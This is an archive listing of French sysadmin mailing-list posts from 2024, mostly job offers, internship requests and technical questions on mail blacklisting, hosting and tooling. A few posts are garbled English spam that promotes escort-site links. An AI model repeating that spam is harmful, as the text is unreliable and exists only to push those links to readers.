Bonjour à tous, Je me permets de poster ici dans l'urgence, car je suis actuellement à la recherche d'un stage dans le domaine de l'informatique, des réseaux informatiques ou de la cybersécurité. Je suis étudiant en 2ème année de BUT Réseaux et Télécommunications (Parcours Cybersécurité) à l'IUT de Caen, et je dois effectuer un stage obligatoire de 8 semaines pour valider mon année. Initialement prévu pour débuter le 2 avril, j'ai pu obtenir un délai jusqu'au 15 avril pour commencer mon stage. Malheureusement, malgré mes efforts, je n'ai toujours pas trouvé d'entreprise pour m'accueillir. J'ai contacté de nombreuses entreprises ces derniers mois, mais la plupart ne prennent pas de stagiaires ou en ont déjà un et ne souhaitent pas en accueillir un deuxième. Je suis vraiment dans l'embarras et je sollicite votre aide. Si certains d'entre vous sont susceptibles de prendre un stagiaire dans le domaine de l'informatique, des réseaux informatiques ou de la cybersécurité, ou si vous connaissez des personnes qui pourraient m'aider, je vous serais extrêmement reconnaissant. Je vous remercie infiniment pour votre attention et votre aide éventuelle. Cordialement, Maxime Cantero

1 0

[JOBS] Recherche admin couteau suisse / Lyon
by Kilian eldre8 Hart 02 Apr '24

02 Apr '24

Bonjour à tous, À l'entreprise dans laquelle je travaille (je suis en presta), on recherche un admin pouvant renforcer notre équipe de 3 personnes actuellement(je me compte dedans). J'ai mis couteau suisse car il y a pas mal de technos, même moi avec 25 ans d'xp j'ai dû me former sur quelques trucs! Mais bon, on a tous des points forts, et des points faibles, et le tout, dans l'équipe compte, ce qui fait que le couteau suisse, c'est un peu à plusieurs qu'on y arrive :) Voici donc: - Poste: Ingénieur(ou pas) systèmes et réseau Aptitudes: - autonomie, trouver l'info, que ce soit dans les tickets, les commits git, les bash_history, etc;) - acteur, et force de propositions, on est actuellement sur une structure rattachés aux devs, mais on est quand même maître de ce que l'on se donne comme projets Profil recherché: Une personne avec de l'expérience, qui regarde avant d'appliquer en prod, mais qui sait oser parfois; Qui sait vraiment se débrouiller en unix (genre, utiliser find avec les arguments dans le bonne ordre; et sâche aussi où se trouve les cron utilisateurs); Qui est rodé sur git, ne pas être bloqué par une modif sur le git, genre fermer la MR pour réouvrir une autre pour combler des lacunes git, c'est pas super. Style de boite: c'est très dev orienté, avec plein de devops qui font du terraform sur gcp, des revues de MR, des environnements de dev/ppd/prd, avec des workflows pouvant se calquer sur les devs. Il reste du legacy, et même une salle serveur avec quelques trucs. Ce que la boite fait: la boite est dans le domaine des IoT, les clients sont des communes, des régies... si vous me contactez j'en dirais plus. Technologies, en partant du legacy vers de l'admin 2.0: - centos outdated, debian - oracle - iptables et qqs ipsec - centreon(beurk!) - puppet - GCP (des computes, dec cloud function et run, des services accounts, du sql(Postgres+MySQL, et cetera) - Grafana - prometheus - terraform - kube GKE (helm + helmfile) Ce qui en découle donc aussi, comme shellscript, git, etcetera Journée type: - les alertes centreon, prometheus-alerter - les notifs gitlab - un point de réu *que* sysops journalier - un point de réu tte l'équipe (dev+sysops) hebdomadaire - un CRA à remplir(mais avec Jira et le fait de mettre le temps passé sur les tickets c'est pas si mal foutu) Point notable: - un autre adminsys est présent, pour la partie helpdesk - un rssi sympa - un dirtech sympa - un chef de l'equipe dev sous laquel on est rattaché en entité , sympa aussi:) - du TT - une bonne ambiance dans la boite(le midi, jeux, quizz, escalade, foot etc) voilou, et bon début de petite semaine ! @+ Kilian, SysOps

4 3

I Have let a lot of inquiries continue being open up
by o0a6a8au＠nqmo.com 02 Apr '24

02 Apr '24

I Have let a lot of inquiries continue being open up, allowing for any broader pool of creative imagination and skills. I am considering working with someone that can articulate their very own vision for my task. Freelancer Skills: It’s significant that the files are obvious, legible, valid and present. https://www.worldescortshub.com

1 0

Re: [FRnOG] [ALERT] Compromission de lzma
by Laurent Barme 30 Mar '24

30 Mar '24

Le 30/03/2024 à 04:10, Tim Dobson a écrit : > > Dans tous les cas, comme toujours, le meilleur conseil est "mettez à jour > votre système depuis votre gestionnaire de paquets". > > En l'occurrence un meilleur conseil serait de s'assurer que le problème n'est pas dans la mise à jour disponible.

5 7

blacklist chez free
by Kevin Cousin 29 Mar '24

29 Mar '24

Bonjour à tous, @work, nous sommes blacklisté sur une IP par les MX de free.fr. Nous avons redirigé le trafic sur une autre IP, mais il semble que l'IP d'origine se fait bloquer aussi sec dès qu'on réessaie d'envoyer des mails. Est ce qu'il y a un contact de chez Free sur la liste avec qui je pourrais discuter ? Merci à tous KCO

7 9

[FSSAG] Outils de ticket basic
by Anthony Frnog 29 Mar '24

29 Mar '24

Bonjour à vous, Je suis à la recherche d un outil opensource permettant de créer des tickets sav en fonction d un compte client et qui permet aussi d envoyer des mails avec des templates prédéfinis. Quelqu'un d entre vous aurait des pistes? Note: Glpi, vtiger et j en passe sont trop lourd pour ce que je cherche à faire. Merci par avance Anthony

13 15

[JOBS] Recherche Job Systèmes Réseaux & Sécurité
by Amir MOHAMED 26 Mar '24

26 Mar '24

Bonjour, Après avoir consacré les 8 derniers mois à un projet personnel lié à mes études, je suis actuellement à la recherche d'opportunités professionnelles dans le domaine des systèmes réseaux, de préférence en Île-de-France, Rennes, Brest ou Lille. Fort de 4 ans d'expérience dans les domaines des réseaux et des systèmes, je possède les compétences suivantes : *Systèmes :* Administration de systèmes Linux (Debian/Ubuntu/CentOS). Administration d'infrastructures Microsoft (AD, GPO, Microsoft 365, Windows, Windows Server, WSUS, NPS, Azure AD, RDS, TSE, Impression). Gestion à distance (Royal TS, TeamViewer). Gestionnaire Libre de Parc Informatique (GLPI). Automatisation (Ansible). Systèmes de stockage (vSAN, SAN, NAS). Script (Bash, PowerShell, Python). Web (HTML, PHP). Base de données (MySQL/MariaDB). *Sécurité et Supervision :* Gestion et analyse des logs (Graylog, Splunk). Scans et audits de configuration (Nessus). Méthodes de pentest (Kali). Zabbix, Nagios, Centreon. *Virtualisation :* VMware (ESXi, vCenter, vSphere, Horizon). Wyse Management Suite, Proxmox VE. Docker. *Réseaux :* Routage (OSPF, IS-IS, BGP, EIGRP). TCP-IP, NAT, LAN/WAN, VLAN. VPN (IPSec, SSL-VPN). Switches et routeurs Cisco. Firewall (SonicWall, FortiGate). Je suis disponible pour discuter de ma candidature et de la manière dont je peux contribuer au succès de votre entreprise. N'hésitez pas à me contacter pour toute information complémentaire ou pour organiser un entretien. Cordialement, Amir

1 0

[JOBS] CDI Administrateur Système Réseau et Sécurité H/F à Brest
by Ludovic Collomb 25 Mar '24

25 Mar '24

Bonjour à tous, Netensia, opérateur télécoms, recherche dans le cadre de son développement un administrateur système, réseau et sécurité avec 4 à 5 années expérience, basé à Brest. Détails du poste : https://www.netensia.fr/recrutement Je suis à votre disposition si vous avez des questions complémentaires. Cordialement. -- Ludovic Collomb

1 0

Audit ordinateur ecole
by Ilyass RAITI 22 Mar '24

22 Mar '24

4 3

La mise à jour automatique des certificats LE est un cheval de Troie.
by Laurent Barme 22 Mar '24

22 Mar '24

DON'T PANIC. (Je suis en train de lire "The hitch-hiker's guide to the galaxy" de Douglas Adams, livre que j'ai rapporté de mon séjour à Londres le weekend dernier ; je me régale.) Le sujet de ce post reprend une communication qui m'a valu de vives réactions pour certaines très sympathiques. Ce commentaire était mal formulé, il fallait lire "La mise à jour automatique des certificats LE est /potentiellement/ un cheval de Troie". Alors non, les certificats LE ne sont pas dangereux, évidemment ! Je m'en suis d'ailleurs beaucoup servi dès que c'était disponible ou presque (début 2017) mais uniquement sur des blogs WordPress installés tout seuls sur des VPS, c'est à dire pour des informations publiques sans données sensibles et dans un contexte sans importance. De toute façon les mises à jour automatiques de WordPress sont à peine moins fiables :-) Hé, pas taper si vous n'êtes pas d'accord ! A lire mes notes, la mise en œuvre des certificats LE était effectivement super simple sauf qu'il y avait dans le crontab : 32 6 * * 0 /root/certbot-auto renew -q Apparemment, il n'est plus nécessaire de renouveler le certificat avec root (et peut-être est-ce que cela a toujours été le cas) quoique sinon je ne vois pas comment concilier ça avec la gestion d'un serveur web qui appartiennent à root. Oui, je sais qu'il serait possible de configurer un serveur apache hors root mais ce n'est pas standard, notamment parce que seul root peut accéder aux ports 80 ou 443. Quoiqu'il en soit, avoir un script obscur qui revoit potentiellement la configuration de mon serveur toutes les semaines, cela ne me plait pas. Je n'ai pas cherché plus loin et j'ai profité des certificats LE pour des contextes sans conséquences. Ce qui ne veut pas dire que l'on ne peut pas utiliser les certificats LE pour des cas autres que ceux où il n'y a pas d'enjeu… J'ai aussi une préférence et une grande confiance a priori dans les produits du logiciel libre (mais pas parce qu'ils sont "revus"). Je les utilise évidemment le plus possible mais j'ai suffisamment d'expérience en développement logiciel (à peu près 40 ans…) pour savoir à quel point il est plus facile de produire du code malveillant que des traitements fiables et robustes y compris pour les cas limites. Donc pour le cas de l'alternative entre un certificat d'une dizaine d'euros annuel et l'hébergement d'un processus hebdomadaire et /potentiellement/ faillible, personnellement, le choix est vite fait. D'autant que je n'ai qu'une petite poignée de certificat SSL à gérer. Oui, cela change tout. Pour ce qui est de chiffrer les échanges avec un serveur web, tous les certificats se valent qu'ils soient auto-signés, wildcards, gratuits ou payants, même très chers. A la base, une clé publique c'est juste le produit de deux nombres premiers si grands que sa factorisation prendrait a priori un temps infini par rapport aux calculs modulo n dans un corps Z/nZ avec n premier qui sont faits pour chiffrer et déchiffrer les échanges… d'une clé symétrique qui sera exploité ensuite. Le recours aux clés asymétriques a simplement déplacé le problème : au lieu d'avoir à assurer le partage confidentiel d'une clé symétrique, il faut s'assurer qu'une clé publique appartient bien à celui qui prétend en être le propriétaire. C'est là où les CA interviennent et l'opportunité d'en faire un racket. Racket soutenu par l'obligation artificielle de tout chiffrer. Pour cela la disponibilité des certificats LE est effectivement une bénédiction ! Car non, en vrai cela ne sert à rien de chiffrer une recette d'Irish coffe partagée sur un blog, à part pour lui éviter d'être totalement ostracisée par ggl. Quant à chiffrer une librairie JS publique, je n'y avais jamais pensé mais je n'en vois pas non plus l'intérêt, d'autant moins que sous couvert de minimisation (mais en vrai pour les protéger d'une réutilisation) la plupart des librairies JS sont quasiment illisibles :-) Par contre conforter l'origine d'une librairie externe par la validation d’authenticité d'un CA est effectivement intéressant mais ce n'est pas le certificat du site qui l'utilise qui le fait. Ah et sinon, pour répondre à la remarque du petit jeune qui m'a gentiment dit d'arrêter de raconter n'importe quoi sur des sujets que je ne connais manifestement pas, je dirais qu'il a au moins à moitié tort. L'expérience a ceci de particulier qu'il ne me rattrapera jamais pour ce qui est de la durée sur laquelle je l'ai accumulée ; je serai certainement mort avant :-))

15 42

API SMS des opérateurs tel
by Théo VARIER 21 Mar '24

21 Mar '24

Hello la liste, Je sais que le sujet a déjà été abordé à propos des prestataire de distribution de SMS. Mes questions d'aujourd'hui sont sur les API de notifications SMS fournies par les fournisseurs telephone. Free fourni une API qui permet de s'envoyer sur son propre mobile (forfait free) autant de SMS que l'on veut. C'est gratuit, et c'est hyper pratique pour se faire envoyer les alertes via cette API (https). Je l'utilise depuis des années avec un forfait à 19.99 ou 15.99 euros. Questions : Est ce que quelqu'un sait si cette option existe avec les forfait à 2euros de Free ? Est ce que Orange propose un truc similaire ? payant ? Chez d'autres opérateurs ? Merci les colistiers pour vos retours d'expériences, -- Théo

5 5

Gérer les versions de ses cafetières ?
by nicolas.frsag＠ecarnot.net 21 Mar '24

21 Mar '24

Bonjour, Comme bon nombre d'entre vous, je m'efforce de garder à jour les versions de tout ce qui constitue notre infrastructure systèmes et réseaux, et je garde trace de toutes ces montées de versions de manière artisanale, ce qui ne facilite pas le reporting. En effet, le types d'éléments que j'entretiens comprends des applicatifs, des firmwares de matériel (switchs, routeurs, onduleurs, imprimantes, sondes, cartes variées...), des machines physiques ou virtuelles, des containers, jusqu'à certains plugins de certaines applications. Pour conserver trace de toutes ces actions de maintenance, je ne dispose pas d'un outil spécifique et je suis bien persuadé que cela doit exister mais mes recherches aboutissent souvent à des outils qui sont trop spécifiques : - soit trop orientés logiciel - soit trop orientés matériel - soit trop orientés gestion de maintenance physique et ticketing Et puisque la grande variété de cas ruine tout espoir d'automatisation (que j'assume), je suis plutôt à la recherche d'un outil simple qui permettrait de simplement prendre note de toute action d'upgrade, de consulter les versions les plus anciennes, et d'estimer le nombre d'actions par période. Évidemment, si quelqu'un connaît ce genre de chose en open source, qu'il soit bénit, mais restons ouverts d'esprit. Merci pour vos suggestions. -- Nicolas

6 5

[MISC] Mails bloqués par Free.fr depuis Tenant Office365 Microsoft.
by frsag＠sparfel.net 20 Mar '24

20 Mar '24

Bonjour, Depuis plus d'une semaine, quasi plus aucun de nos mail n'arrivent chez free.fr depuis notre tenant Microsoft Office 365 (Au moins un centaine de mails quotidiens). Les IP de M$ sont refusées : LED=451 too many errors detected from your IP, depuis les IP M$ 40.107.XXX.XXX entre autre. Bien entendu, de notre côté, tout est correctement configuré : SPF, DKIM, DMARC Le support de Microsoft est, comme souvent, inutile et ne veux rien comprendre. Quelqu'un aurait il un contact chez Free pour voir ce qu'il est possible de faire pour dé-blacklister ces IP's ? Sachant que nous ne sommes certainement pas les seuls puisque les IP de sortie M$ sont mutualisées... Frédéric.

2 1

Audit ordinateur ecole
by Ilyass RAITI 20 Mar '24

20 Mar '24

1 0

Clavier non fonctionnel au démarrage d'un HP Proliant DL360 gen7
by nblesgaz 12 Mar '24

12 Mar '24

Bonjour à tous, J'ai récemment fait l’acquisition d'un hp proliant dl360 gen7 via lbc. Il est dans un très bon état, néanmoins, lorsque je veux accéder au bios de la machine, pas de clavier, on dirait que l'usb est désactivé dans le bios... J'ai beau appuyer sur des touches, il ne se passe rien. Par contre, une fois que l'os de l'ancien propriétaire est démarré, le clavier fonctionne. J'ai essayé plusieurs ports de la machine, de changer de clavier, de débrancher la pile de bios pendant 30 min, démarrer le serveur avec l'interrupteur 6 du sw1 pour vider la NVRAM, mais rien, j'ai toujours le problème. Les forums sur Google sont assez succincts, donc à chaque fois la discussion tourne en boucle. Et RAS dans les journaux de Ilo.Donc je me sens dépassé. Je suis débutant en hardware de ce genre de serveur donc s'il y a des personnes qui connaissent ce problème ou cette machine, je suis preneur. BIOS : P68 Bon lundi ! Noah

2 1

Recherche consultant ou société pour auditer des devices après un hack
by Christophe BAILLON 12 Mar '24

12 Mar '24

Hello, Je suis a la recherche d'un consultant ou d'une boite pour intervenir sur Paris suite a un hack de boite mail. Suite a la découverte les devices (5) ont été stoppé et remisé Le hack concerne une boite mail o365, on cherche a savoir quel device a été compromis et comment avant de les cleaner Me contacter en MP

1 0

Serveur S3
by David Touitou 11 Mar '24

11 Mar '24

'jour les gens. Je voudrais faire des tests (et peut-être un peu plus) en interne de backup vers du S3. Le serveur qui va héberger le service existe déjà, c'est du ZFS, l'idée serait d'avoir un dataset qui est servi en S3. Du coup, pas besoin de distribution géographique (ou locale), pas besoin de contrôle de parité ou EC, juste un serveur S3. J'ai trouvé Minio et Garage (qui font aussi tout ce dont je n'ai pas besoin). Est-ce que vous auriez d'autres outils à proposer ? Merci, David

7 10

[jobs] CDD Ingénieur-e systèmes Linux pour l'Université Clermont Auvergne à Clermont-Ferrand
by David GRIMBICHLER 08 Mar '24

08 Mar '24

Bonjour à tous, Le Mésocentre Clermont Auvergne et la DSI de l'Université Clermont Auvergne recrutent un ingénieur ou une ingénieure systèmes Linux pour un CDD de 18 mois. Il ou elle intégrera une équipe d'une quinzaine de personnes au sein du Mésocentre et du Pôle Infrastructures. Plus de détails : [ https://www.linuxjobs.fr/jobs/1457/ingnieur-e-systmes-linux-pour-l-universi… | https://www.linuxjobs.fr/jobs/1457/ingnieur-e-systmes-linux-pour-l-universi… ] Bon week-end !

1 0

Appel à présentation - HS'R 2024 - 29 mars 2024 - Reims
by Florent Nolot 07 Mar '24

07 Mar '24

Bonjour, Dans le cadre de la 7ème édition du HS'R, anciennement appelé HackSecuReims, nous organisons, en parallèle de notre salon sur les métiers de la cybersécurité et des conférences grands publics sur le thème de la cyber, des conférences techniques. Si vous souhaitez présenter durant 30 à 45 min vos travaux sur le thème de la sécurité informatique, sur l'usage de nouveaux outils, sur des vulnérabilités récentes, sur le fonctionnement de derniers vers ou virus ou bien sur l'usage de l'IA dans le domaine de la sécurité, vos propositions sont les bienvenues. Plus d'informations sur https://hacksecureims.eu/ Contact : Florent NOLOT : florent.nolot(a)univ-reims.fr Louis BAES : louis.baes(a)protonmail.com Soumission de votre proposition de présentation inclus un titre et un résumé de quelques lignes : 17 mars 2024 Cordialement

1 0

[Tech] Github + passkey FIDO2 - 2FA TOTP = NOK
by Frederic Dumas 07 Mar '24

07 Mar '24

Bonjour, Peut-être l'un d'entre vous rencontre le même problème. Pour me connecter à Github, j'utilise un passkey (une clé physique FIDO2). Le couple login/pwd ne m'est plus demandé. La double authentification 2AF renforce l'authentification par mot de passe, du coup elle aussi m'est inutile. Cette année, Github impose l'usage d'un second facteur d'authentification TOTP, en plus du traditionnel mot de passe. Je parviens bien à me connecter par passkey, mais reste bloqué sur une page d'accueil m'obligeant à créer ce second facteur d'authentification. Je n'ai accès à rien d'autre. C'est vraisemblablement une contrainte volontaire, mais je demande quand même si quelqu'un sait comment resterait possible d'accéder pleinement à GitHub par passkey, quand on n'a pas activé de second facteur d'authentification (parce qu'on n'utilise pas la connexion par mot de passe, tout simplement). Sinon, je vais le créer, le 2AF qu'ils demandent, c'est juste que c'est moins fort que le passkey. Merci. -- Frédéric Dumas f.dumas(a)ellis.siteparc.fr

1 0

Automobile Mishaps can be incr
by rmpy6482＠nqmo.com 06 Mar '24

06 Mar '24

Automobile Mishaps can be incredibly distressing gatherings, usually leaving men and women with Bodily accidents, emotional trauma, and monetary burdens. https://www.canadaescortspage.com

1 0

There are many kinds
by rmpy6482＠nqmo.com 06 Mar '24

06 Mar '24

Automobile Mishaps can be incredibly distressing gatherings, usually leaving men and women with Bodily accidents, emotional trauma, and monetary burdens. https://www.canadaescortspage.com

1 0

[Tech][Misc] Hébergement web multi-application en 2024
by N R 06 Mar '24

06 Mar '24

Bonjour/Bonsoir la liste, J'installe une supervision pour mon infra perso sur un petit serveur dédié (Xeon 4C/8T, 8GB RAM) debian et me suis posé la question de l'état de l'art en 2024 quand on veut héberger différentes applications web, principalement PHP sur un seul serveur physique? J'ai des vieilles habitudes d'utiliser des VM, mais c'est gourmand et je testerai bien les conteneurs mais quel moteur? Un simple nginx pour rediriger les flux ou un truc plus poussé genre traefik? En bref, vous utilisez quoi, vous dans ces cas là? Kholah

11 13

Restriction logicielle par GPO
by Ilyass RAITI 05 Mar '24

05 Mar '24

4 3

Industrialisation d'un parc informatique sous Linux
by lena＠zaclys.net 05 Mar '24

05 Mar '24

Bonjour, Je ne suis pas administrateur système, mais je travaille au service informatique d'une collectivité territoriale et j'ai de quelques notions d'ensemble sur la question. Je me permets donc d'écrire ici, j'espère que c'est ok pour vous. Je me demande s'il existe des alternatives à SCCM pour la gestion d'un parc informatique (plusieurs milliers d'ordinateurs), afin que l'intégralité du parc fonctionne et puisse être gérée sous Linux (installation en PXE, mises à jour, prise en main, etc.) Et si la solution existe, auriez-vous des contacts d'entreprises ou consultants qui accompagnent les entreprises ou collectivités qui souhaitent les utiliser ? Merci de vos retours !

15 17

Re: [Tech][Misc] Hébergement web multi-application en 2024
by Franck Routier 04 Mar '24

04 Mar '24

Le lundi 4 mars 2024, 12:03:28 CET Thomas Constans via FRsAG a écrit : > 1 vm ou un conteneur par appli, j'en suis revenu, trop chronophage à > exploiter / maintenir Un peu pénible à maintenir en effet (gestion des mises à jours e sécurité en particulier), par contre quelques avantages non négligeables : - versions d'OS (et donc de PHP par exemple) indépendantes - snapshot peu coûteux (incus sur zfs) - duplication instantanée d'environnements - sauvegarde par transfert des container et/ou zfs send/receive Franck

1 0

Apéro Lyonnais : lundi 04 mars 2024
by cam.lafit 04 Mar '24

04 Mar '24

Bonjour Avec un petit raté au démarrage, je vous propose de nous retrouver au premier glou lyonnais de l'année. On a largement dépassé la période des bonnes résolutions, donc on se contentera de trolls, boissons, nourriture et peut être même de discussions sérieuses. Je vous attends donc ce soir soir pour un apéro lyonnais et ses environs au : Malting-Pot 263 Grande Rue de la Guillotiere, 69007 soit ce lundi 04 mars 2023 dès 19h. Et toujours vaguement des infos sur : http://www.agendadulibre.org/tags/araas https://www.meetup.com/fr-FR/Auvergne-Rhone-Alpes-Apero-Admin-Sys/ Km

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

FRsAG